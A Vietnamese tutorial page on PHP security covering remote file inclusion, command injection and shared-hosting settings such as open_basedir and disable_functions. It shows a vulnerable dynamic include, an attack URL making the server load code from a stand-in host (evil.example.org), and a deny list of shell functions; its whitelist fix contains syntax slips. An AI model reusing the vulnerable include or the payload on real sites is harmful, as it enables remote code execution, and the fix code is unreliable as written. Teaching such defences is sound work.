PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.
1. Thực thi mã lệnh từ xa(remote Code Injection )
Khi khai báo chèn vào filebằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu “hỏng” để tạo mộtsự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗicó thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Mộtcuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họđã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phácả ứng dụng lẫn hệ thống. Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụngcó thể cấu trúc inclue đề chèn mã news vào ứng dụng: include "{$_GET[’section’]}/data.inc.php"; khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cânnhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại chosite: http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên làinclude "http://evil.example.org/attack.inc?/data.inc.php"; attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công cóthể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻtấn công có thể chiếm tất cả quyền mà họ muốn. Ví dụ: Mã: $clean = array(); $sections = array(’home’, ’news’, ’photos’, ’blog’); if (in_array($_GET[’section’], $sections)) { $clean[’section’] = $_GET[’section’] }else { $clean[’section’] = ’home’ } include "{clean[’section’]}/data.inc.php"; 2. Các lệnh injecttion Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép userthực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system()và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọcwhilelist giảm thiệu các câu lệnh có hại cho hệ thống. Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnhescape shell cho hệ thống V. Shared Hosting Có rất nhiều vấn đề nẩy sinh khi sử dụng host dùng chung, trước đây PHP giảiquyết vấn đề này bằng chỉ thị safe_mode . Tuy nhiên nó sai khi cố gắng dùng nó để phân cấp tại mức PHP. Safe_mode khôngsẵn sàng ở PHP 6. Có 3 chỉ thị quan trong trong việc chia sẻ hosting:open_basedir disable_functions và disable_classes. Ba chỉ thị này không phụthuộc vào safe_mode và chúng thể sẵn sàng trong tương lai Open_basedir là chỉthị giới hạn truy cập đến truy cập file trên cấu trúc cây thư mục. khi PHP cốgắng mở một file bằng open() hoặc include nếu tồn tại thì nó sẽ được chỉ rõ câythư mục bằng open_basedir nếu không thì nó sẽ không mở file. Có thể khai báo trong php.ini hàm open_basedir cho từng cho từng host ảo. PHPchỉ cho phép mở file ở địa chỉ /home/user/www and /usr/local/lib/php (cái nàyđược mặc định trong thư viện PEAR): Mã: <virtualhost *=""> DocumentRoot /home/user/www ServerName www.example.org php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" </virtualhost > Chỉ thị disable_functions và disable_classes tương tự nhau nó cho phép disablemột hàm hoặc 1 lớp nào đó bất kỳ hàm nào và lớp nào trong danh sách này đềukhông có chức năng cho hệ thống. bạn có thể thay đổi thông số trong php.ini như sau: ; Disable functions disable_functions = exec,passthru,shell_exec,system ; Disable classes disable_classes = DirectoryIterator,Directory |
Thêm vào trang Google +
Số lần xem : 5940
Đánh giá